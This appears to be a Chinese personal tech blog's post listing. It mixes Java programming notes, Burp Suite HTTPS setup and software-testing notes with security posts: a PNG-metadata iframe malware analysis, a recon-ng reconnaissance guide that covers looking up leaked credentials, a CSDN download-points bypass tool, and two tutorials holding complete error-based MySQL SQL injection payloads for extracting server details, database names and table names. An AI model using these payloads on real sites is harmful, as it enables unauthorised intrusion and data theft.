burpsuite抓包https

最近工作需要,需要burpsuite抓下https的包 burpsuite抓包https的时候,如果是https协议,火狐会不信任证书 这个时候点击我已充分了解可能的风险,然后添加例外,弹出图中的对话框 点击查看,进入证书管理企业免,选择图中的PortSwigger CA根证书,选择导出,保存一下这个证书 然后打开火狐的选项,进入高级->证书->查看证书->证书机构->导入,选择刚才的证书 ,最后,记住选中信任此CA证书标识的网站,ok 现在再抓包,可以看到https也抓到了。

2014-06-29 · 1 min · bystander

[藏]深入理解Java内存模型

深入理解java内存模型(一)——基础 深入理解java内存模型(二)——重排序 深入理解java内存模型(三)——顺序一致性 深入理解java内存模型(四)——volatile 深入理解java内存模型(五)——锁 深入理解java内存模型(六)——final 深入理解java内存模型(七)——总结

2014-03-11 · 1 min · bystander

[藏]隐藏在PNG图像元数据中的新iFrame注入攻击

这个攻击方式很旧了,但手法相当不错,来自乐嵌网 我们一直在努力保持领先的最新趋势,今天我们发现了一个非常有趣的事,这或者是我们之前没有发现,或者是刚发生的。 我们只能说这是新发现的。 我们都了解的iFrame注入攻击,对吧? 了解一个iFrame注入 今天的iFrame 是非常标准的HTML标记,它是在自己网页中嵌入其他网站内容的简单方式。 被几乎所有的浏览器支持和百万计的网站使用,使用AdSense吗? 那么你的网站中就有一个iFrame。 我知道这东西很好,然而总是福祸相惜。 今天的攻击,特别是当我们谈论路过式下载,首选是利用IFRAME标记。 它简单方便,只需简单的属性修改,攻击者可以稳妥的从另一个站点嵌入代码,并通过客户的浏览器不知不觉的加载。 像这样: 攻击者通常从其他网站嵌入的恶意文件,通常是一个PHP文件或类似的形式。 当然,这并不是唯一的方法,但是是最普遍的。 从检测和修复的角度来看,这往往很容易修复。 新的iFrame注入法 然而今天,我们发现一个有趣的iFrame注入类型。 它的特殊之处不是在iframe标签中嵌入的内容,而是它分发恶意软件的方式。 你会看到,攻击者将威胁隐藏在PNG文件中。 我几乎可以听到很多你的窃笑,PFF .. 这不是新的…. 但问题是在细节上我的朋友。 如下,iFrame加载了一个有效的文件,没有什么恶意,一个叫jquery.js的JavaScript文件。这一切看上去都很好。你要细细的找: 起初,很多人会说我们傻。 这些代码很好,没看见什么问题,对不对? 然后,我们注意到了这个小函数,loadFile()。 函数本身并不奇怪,但事实上,它是装载一个PNG-var strFile = ‘./dron.png。 你会被它惊讶良久,它才是一个真正的黑手。 自然,下一步就是好奇的打开dron.png文件。 会有什么可怕的事情发生吗? 噢,什么都没有,太无聊了,这纯粹是浪费时间。 但是,请等一下,我发现这里有个有趣的小循环。 嗯,这是确实挺奇怪的,这是一个解码循环。 为什么要一个循环的解码PNG文件呢? 作为一个优秀的研究人员,采取最简单的方式,我可以将它加载到简单的测试页上 并提取图像内容。搞定! 测试页上加载它之后这,我们获得了strData变量: 看到它在干嘛了吗? 它做了个iFrame注入,并把它嵌入到PNG的元数据中,像一个新的分配机制。 有两点需要特别注意了,它使用createElement做了一个iFrame标签**,然后设置elm.style.position.left 和 elm.style.position.top **属性的值为-1000px,把iframe放到可视区域之外。这些值都是负值,在浏览器中根本看不到。但是你知道谁能看到吗?只有浏览器和Google能看到。这就是下载驱动和搜索引擎感染(SEP)攻击的小伎俩。 最后我们在elm.src元素中发现了真正的威胁**。** 做的这么独特到底有什么用呢? 它尽力隐藏真正的威胁的水平是独特的。现在的杀毒软件不会解码图像元数据,直到JavaScript文件加载完毕就停止扫描。不会追踪cookie文件,对于攻击者来说,这太好了,使它们很难被发现。 记住一点,尽管我们这里谈论的是PNG文件,这些方法和概念也可以应用到其他类型图像中。重要的一点是:留意你的web 服务状态,了解哪些修改和未修改的文件并确保漏洞未被利用。 通常情况下,一些新的侦查和排障需要一定的时间。 现在我们的 网站恶意软件扫描器能发现它吗 ? 绝对可以! 不要笑了,朋友们! 原文:new-iframe-injections-leverage-png-image-metadata by Peter Gramantik

2014-02-09 · 1 min · bystander

[笔记]写代码遇到的一些问题汇总下

本篇是用来填上一篇 挖下的坑的。 1.java调用webservice 有一些已有的webservice服务,由xfire生成发布,有些有参数,有些无参数,无参数的直接我直接使用org.codehaus.xfire这个包里的Client来动态生成客户端。然后调用就可以了。非常简单 Client client = null; try { client = new Client( new URL( "http://leaver.me/testService?wsdl")); client.invoke("refreshAllCache", new Object[0]); } catch (MalformedURLException e) { e.printStackTrace(); } catch (Exception e) { e.printStackTrace(); } 但对于有参的,且是服务器自定义的类作为参数的时候,实在是搞不定。。不管是把自定义的类放到本地,包名一致,在invoke的时候生成这个对象还是其他什么方法。都无法完成。 最终换了直接发送soap报文来完成。dirty hack啊。如果你有一些好的方法希望不吝赐教。 解决方案来源自stackoverflow,因为stackoverflow现在国内好像有时候打不开。因此把代码贴过来。有疑问的话留言讨论。 import javax.xml.soap.*; import javax.xml.transform.*; import javax.xml.transform.stream.*; public class SOAPClientSAAJ { /** * Starting point for the SAAJ - SOAP Client Testing */ public static void main(String args[]) { try { // Create SOAP Connection SOAPConnectionFactory soapConnectionFactory = SOAPConnectionFactory.newInstance(); SOAPConnection soapConnection = soapConnectionFactory.createConnection(); // Send SOAP Message to SOAP Server String url = "http://ws.cdyne.com/emailverify/Emailvernotestemail.asmx"; SOAPMessage soapResponse = soapConnection.call(createSOAPRequest(), url); // Process the SOAP Response printSOAPResponse(soapResponse); soapConnection.close(); } catch (Exception e) { System.err.println("Error occurred while sending SOAP Request to Server"); e.printStackTrace(); } } private static SOAPMessage createSOAPRequest() throws Exception { MessageFactory messageFactory = MessageFactory.newInstance(); SOAPMessage soapMessage = messageFactory.createMessage(); SOAPPart soapPart = soapMessage.getSOAPPart(); String serverURI = "http://ws.cdyne.com/"; // SOAP Envelope SOAPEnvelope envelope = soapPart.getEnvelope(); envelope.addNamespaceDeclaration("example", serverURI); /* Constructed SOAP Request Message: <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:example="http://ws.cdyne.com/"> <SOAP-ENV:Header/> <SOAP-ENV:Body> <example:VerifyEmail> <example:email>[email protected]</example:email> <example:LicenseKey>123</example:LicenseKey> </example:VerifyEmail> </SOAP-ENV:Body> </SOAP-ENV:Envelope> */ // SOAP Body SOAPBody soapBody = envelope.getBody(); SOAPElement soapBodyElem = soapBody.addChildElement("VerifyEmail", "example"); SOAPElement soapBodyElem1 = soapBodyElem.addChildElement("email", "example"); soapBodyElem1.addTextNode("[email protected]"); SOAPElement soapBodyElem2 = soapBodyElem.addChildElement("LicenseKey", "example"); soapBodyElem2.addTextNode("123"); MimeHeaders headers = soapMessage.getMimeHeaders(); headers.addHeader("SOAPAction", serverURI + "VerifyEmail"); soapMessage.saveChanges(); /* Print the request message */ System.out.print("Request SOAP Message = "); soapMessage.writeTo(System.out); System.out.println(); return soapMessage; } /** * Method used to print the SOAP Response */ private static void printSOAPResponse(SOAPMessage soapResponse) throws Exception { TransformerFactory transformerFactory = TransformerFactory.newInstance(); Transformer transformer = transformerFactory.newTransformer(); Source sourceContent = soapResponse.getSOAPPart().getContent(); System.out.print("\nResponse SOAP Message = "); StreamResult result = new StreamResult(System.out); transformer.transform(sourceContent, result); } } 2.Access restriction on class due to restriction on required library rt.jar? 报错 ...

2014-02-08 · 4 min · bystander

[笔记]写代码遇到的一些问题汇总上

今天大雪,天冷,不能出去玩了。把保存在pocket里的一些记录总结一下,太懒了。。下篇等我去了上海用我电脑写吧 1.java模拟https登陆 首先我要登陆,然后保存cookie,然后利用cookie来访问后续的网页,发包,处理包这样,然后,为了方便,我选择了 org.apache.http 这个库,典型的一个登陆场景应该是这样的,以后遇到问题一定先要去看官方的例子,别人给出的例子一般要么是不能用,要么是用的方法都是一些过时的,虽然能用,但看到警告还是不舒服。 public static BasicCookieStore cookieStore; //整个过程用一个client public static CloseableHttpClient httpclient; cookieStore = new BasicCookieStore(); httpclient = HttpClients.custom().setDefaultCookieStore(cookieStore).build(); //先访问一下首页,然后cookie、会填充进来 HttpGet httpget = new HttpGet("https://leaver.me/index.htm"); httpclient.execute(httpget); CloseableHttpResponse responseCookie = null; //然后post请求登陆 HttpPost httpost = new HttpPost("https://leaver.me/login.htm"); //通过键值对来作为post参数 List < NameValuePair > nameValuePairs = new ArrayList < NameValuePair > (1); nameValuePairs.add(new BasicNameValuePair("loginType", "1")); nameValuePairs.add(new BasicNameValuePair("loginName", username)); nameValuePairs.add(new BasicNameValuePair("Password", password)); httpost.setEntity(new UrlEncodedFormEntity(nameValuePairs, Consts.UTF_8)); CloseableHttpResponse responLogin = null; responLogin = httpclient.execute(httpost); 但是,这个过程报了如下的错 e: sun.security.validator.ValidatorException: PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target google之,发现时访问https的原因。需要先安装对应站点的证书。这里要用到一个通用的java类,我贴下链接 编译这个工具类,然后执行java InstallCert <host>[:port] 会生成一个证书文件 然后在项目里通过 System.setProperty("javax.net.ssl.trustStore", "证书路径"); 设置即可,你可以吧证书文件放到资源目录,就更好了。 2.java正则替换反斜线 我在某个地方需要把字符串里的所有反斜线替换成两个,我就写了 str.replaceAll("\\","\\\\") 结果发现我还是too young,实际上, java replaceAll() 方法要用 4 个反斜杠,表示一个反斜杠 例如 str1="aa\bbb"; 要想替换成 str1="aa\\bbb"; 必须这样替换: str1 = str1.replaceAll("\\\\", "\\\\\\\\"); 原因如下: String 的 replaceAll() 方法,实际是采用正则表达式的规则去匹配的, \\ ,java解析为\交给正则表达式, 正则表达式再经过一次转换,把\转换成为\ 也就是java里面要用正则来表示一个. 必须写成4个\ 如果要表示\,那就要写8个\ 所以如果写成: str1 = str1.replaceAll("\", “\\”); 就会报正则表达式的错误。 3.httpClient如何模拟表单上传文件 这个还是要去看官方例子,网上没找到,需要添加 org.apache.http.entity包 //文件部分 FileBody csvFile = null; //表单的其他部分 StringBody filelog = null; StringBody dataItemDefine = null; csvFile = new FileBody(new File(file)); filelog = new StringBody("ADD", ContentType.TEXT_PLAIN); dataItemDefine = new StringBody(GlobalSetting.getValueOfKey(type), ContentType.TEXT_PLAIN); //关键代码,此处来构造请求数据 HttpEntity reqEntity = MultipartEntityBuilder.create().addPart("filelog", changeLogAction).addPart("dataItemDefine", dataItemDefine).addPart("fileName", csvFile).build(); HttpPost httppost = new HttpPost("https://leaver.me/uploadFile.action"); httppost.setEntity(reqEntity); CloseableHttpResponse response = null; response = httpclient.execute(httppost); 其他都和普通的post请求没啥区别了 ...

2014-02-04 · 2 min · bystander

《软件测试》一点笔记

这两天在读《软件测试》,书不厚,也就300页,有些观念还是挺诧异的,比如软件功能超出产品说明书也算作软件缺陷…想想也能明白,只是猛然看到还是很惊异..简单记录一下读书过程中一些重要的笔记.留作备份. 软件缺陷: 1.软件为达到产品说明书表明的功能 2.软件出现了产品说明书指明不会出现的错误. 3.软件功能超出产品说明书指明范围 4.软件未达到产品说明书虽未指出但应达到的目标 5.软件测试员认为软件难以理解,不易使用,运行速度缓慢,或者最终用户认为不好. 为什么会出现软件缺陷 最大的原因是产品说明书.而并非编程错误,第二大来源是设计方案 软件测试员的目标是发现软件缺陷,进可能早一些,确保其得到修复 完全测试程序是不可能的 不要总是报告坏消息,如果软件没有错误,就夸他们,和他们聊天 可靠性只是质量的一个方面,可能还包括功能齐全,技术制裁,包括色彩等 在设计和执行测试案例时,首先进行通过测试,在破坏性试验之前看看软件基本功能是否实现是很重要的,否则在正常使用软件时就会奇怪为什么有这么多软件缺陷 软件测试员必须测试程序的状态及其转换 动态白盒测试的目标是寻找软件缺陷,调试则是为了修复他们 静态黑盒子(审查设计说明书),动态黑盒子,静态白盒子,动态白盒子 进行白盒测试前,一定要根据说明书建立黑盒测试案例 语句覆盖是程序的所有语句执行,分支覆盖则是所有分支都被执行,条件覆盖则要保证IF语句的每一种可能性都被覆盖 优秀UI的七个要素: 1.符合标准和规范,2.灵活性,3.正确性。4.直观性。5.舒适性,6.实用性。7.一致性 测试存根用于自顶向下的测试,清查到低级模块或者把自己替换为低级模块,主要测试高级模块,外表和行为就像是低级模块

2013-07-26 · 1 min · bystander

[已失效]Csdn免积分下载器

作者:bystander 转载请注明来源:http://leaver.me 原理很简单,目前好像还没有大规模传开,我就不透露了,大家低调使用.为了方便,我写了个客户端,下载地址在文章末尾 使用方法直接把你想下载的地址复制过去,点击下载就会调用ie来下载了. 文章太短了,发两个可乐的吧: 第一个是: "网上发言,请不要随便自称笔者,毕竟有没有在用笔在写一目了然。这个词汇已经要汇入历史长河了,虽然曾经的那么疯狂存在过,但至少在互联网上该消失了。" "那以后自称什么?" "键人。" ---------------------------------------------------------------------------------------------------------- 第二个: ---光棍君:五一快到了,你还是一个人吗? ---你MB,难道我会变成狗吗? ---------------------------------------------------------------------------------------------------------- 第一个冷笑话,第二个是热笑话,冷暖自知。一个成语瞬间提升了整篇文章的境界。 下载地址:[Csdn下载器](http://pan.baidu.com/share/link?shareid=468747&uk=1493685990)

2013-05-01 · 1 min · bystander

详细讲解双查询注入

上一篇文章中,http://leaver.me/archives/2726.html 我说双查询很难讲清楚,这次就试着讲一下。读了一些原理性的东西。然后尽量通俗的给大家讲清楚。。 在此之前,我们理解一下子查询,查询的关键字是select,这个大家都知道。子查询可以简单的理解在一个select语句里还有一个select。里面的这个select语句就是子查询。 看一个简单的例子: Select concat((select database())); 真正执行的时候,先从子查询进行。因此执行select database() 这个语句就会把当前的数据库查出来,然后把结果传入到concat函数。这个函数是用来连接的。比如 concat(‘a’,’b’)那结果就是ab了。 原理: 双注入查询需要理解四个函数/语句 1. Rand() //随机函数 2. Floor() //取整函数 3. Count() //汇总函数 4. Group by clause //分组语句 简单的一句话原理就是有研究人员发现,当在一个聚合函数,比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。 以本地一个名为Security的数据库为例 首先在bt5下的命令行下输入 mysql -u root –p toor 就会连接上数据库了。 然后通过use security; 就可以切换到security数据库了。因为一个服务器上可能有多个数据库嘛。 然后我们执行一下前面那个简单的子查询的例子 SELECT concat((select database())); 就能显示security,也就是显示了当前数据库的名字了。 然后我们测试一下concat的用法。输入 SELECT concat('string1','string2'); 显然结果就是string1string2了 然后我们测试一下rand()这个随机函数是干嘛的 Select rand(); 我们多执行几次 可以看到,这个函数就是返回大于0,小于1之间的数 然后看看取整函数 Select floor(1.1123456); 这个函数就是返回小于等于你输入的数的整数。 然后我们看看双注入查询中的一个简单组合。大家从我的上一篇文章中应该也看到了有一个子查询是 SELECT floor(rand()*2); 我们从里向外看。rand() 返回大于0小于1的小数,乘以2之后就成了小于0小于2了。然后对结果进行取证。就只能是0或1了。也就是这个查询的结果不是1,就是0 我们稍微加大一点难度。看这个查询 SELECT CONCAT((SELECT database()), FLOOR(RAND()*2)); 不要怕。先看最里面的SELECT database() 这个就返回数据库名,这里就是security了。然后FLOOR(RAND()*2)这个上面说过了。不是0,就是1.然后把这两个的结果进行concat连接,那么结果不是security0就是security1了。 如果我们把这条语句后面加上from 一个表名。那么一般会返回security0或security1的一个集合。数目是由表本身有几条结果决定的。比如一个管理表里有5个管理员。这个就会返回五条记录,这里users表里有13个用户,所以返回了13条 如果是从information_schema.schemata里,这个表里包含了mysql的所有数据库名。这里本机有三个数据库。所以会返回三个结果 现在我们准备加上Group By 语句了。 我们使用information_schema.tables 或 information_schema.columns者两个表来查询。因为表里面一般数据很多。容易生成很多的随机值,不至于全部是security0,这样就不能查询出结果了。 select concat((select database()), floor(rand()*2))as a from information_schema.tables group by a; 这里我先解释一下。我们把concat((select database()), floor(rand()*2)) 这个结果取了一个别名 a ,然后使用他进行分组。这样相同的security0分到一组,security1分到一组。就剩下两个结果了。 注意。这里的database()可以替换成任何你想查的函数,比如version(), user(), datadir()或者其他的查询。比如查表啊。查列啊。原理都是一样的。 最后的亮点来了。。 我们输入这条:注意多了一个聚合函数count(*) select count(*), concat((select database()), floor(rand()*2))as a from information_schema.tables group by a; 报错了 ERROR 1062 (23000): Duplicate entry 'security1' for key ‘group_key’ 重复的键值 可以看到security就是我们的查询结果了 想要查询版本就这样: ...

2013-03-03 · 1 min · bystander

双查询注入

作者:bystander 论坛:法客论坛 这个东西比较难解释。我就不多解释。尽量通过这篇文章大家能够照猫画虎手注即可。想要深入理解的可以去看看mysql数据库的一些知识 介绍一下双查询注入,有时候我们通过order by 语句获取到了确定的列数,可是当我们使用union select或union select all查询的时候, f4ck.net/index.php?id=-1 union select 1,2,3,4,5,6-- 却会出现一个错误提示,列数不一致。 Different Number of Columns 而我们使用下面的语句: f4ck.net/index.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(concat(version(),user(),@@hostname,0x7e,@@datadir) as char),0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) 执行之后就会显示mysql版本,用户名,服务器名, 以及数据目录… 获取数据库里 许多人会在上面的语句里使用:database()方法来获取数据库, f4ck.net/index.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) 可是。这个方法只能获取一个数据库。如果你入侵的网站存在多个数据库。上面这个查询就不能用了因此使用下面这个方法更好些。。 f4ck.net/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(schema_name as char),0x27,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 不同点在于第二个查询语句在information_schema.schemata里查询 schema_name ,这样就能查到所有的数据库了。 注意语句中的Limit 0,1会显示地一个数据库,改成 Limit 1,1 会显示第二个 Limit 2,1 会显示第三个, Limit 3,1 会显示第四个。。以此类推。 补充个: 在普通的SQL注入中,使用如下的语句 f4ck.net/index.php?id=-1 union select 1,2,3,4,5,schema_name,7,8 from information_schema.schemata-- 会一次爆出所有的数据库 而使用下面的 f4ck.net/index.php?id=-1 union select 1,2,3,4,5,database(),7,8-- 只会显示当前站点使用的数据库。 获取表名 回正题,我们继续使用双查询来获取数据库的表: f4ck.net/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(table_name as char),0x27,0x7e) FROM information_schema.tables Where table_schema=0xHEX LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 注意语句中的table_schema=0xHEX 这里的hex用你要查询的数据库进行hex编码后替换即可。 同样的,这里可以要修改LIMIT后面的值来得到第二个第三个第四个表。 ...

2013-02-22 · 2 min · bystander

recon-ng开源信息探测框架

作者:bystander 博客:http://leaver.me 微博:http://t.qq.com/lazystander 论坛:法客论坛 首发。转载什么的请注明出处。起码给我留个链接啥的嘛。 首先介绍一下。这个工具是国外刚刚发布的。主要用来渗透前的信息探测。使用类似Metasploit 主要有 Auxiliary: 这个模块查询主机信息泄漏页。进行hash反查,模糊名称精确,检查某个email是否密码泄漏,域名解析ip等 Contacts: 这个模块探测和某一公司有关的人员的信息,主要包括 LinkedIn 和Jigsaw 这两个模块。得到的信息可以被Auxiliary模块使用,如果和Social Engineer Toolkit(社会工程学工具集,这个工具已经发布了。是开源的。大家可以看看),一起。效果强大。 Hosts: 这个用来获取站点子域名。。包括使用baidu。Google bing等。。效果相当强大。 Output: 这个模块用来创建输出报表 Pwnedlist: 这个模块不是得shell的。他可通过 Pwnedlist.com 提供的api,如果这个网站被入侵过。那么可以直接获得其他黑客泄漏的帐号密码。。(需要去 Pwnedlist.com 注册) 安装方法: bt下直接 git clone https://[email protected]/LaNMaSteR53/recon-ng.git 然后有可能提示输入密码,好象是随便输一个用来保护版本控制。。我输的是toor。。 然后就安装好了。输入 cd recon-ng 然后 ./recon-ng.py 首先查看有哪些模块。输入 modules 图一 我以获取子域名为例,通过我前面的介绍你已经知道了hosts模块里的所有模块基本都是干这事的。我用里面的baidu模块来说明。你也可以使用bing等,, 输入命令 load hosts::baidu 图二 刚开始你可能不清楚这个模块的说明。那么继续输入info即可查看模块的详细说明 要开始使用。我们输入 options 和Metasploit很像把。可以查看要使用需要的配置。 图三 看表,会发现有三行。第一行是标题,第二行是域名设置,第三行是输出。这个current value也就是当前值已经为true。所以不用设置。req的意思是是否必须设置。我们输入 baidu.com就是你的目标了。 set domain baidu.com 就会从百度的结果里提取百度的子域名信息了。要开始。我们输入 run 图四 更多希望大家发掘吧。我抛砖。求引玉。

2013-02-02 · 1 min · bystander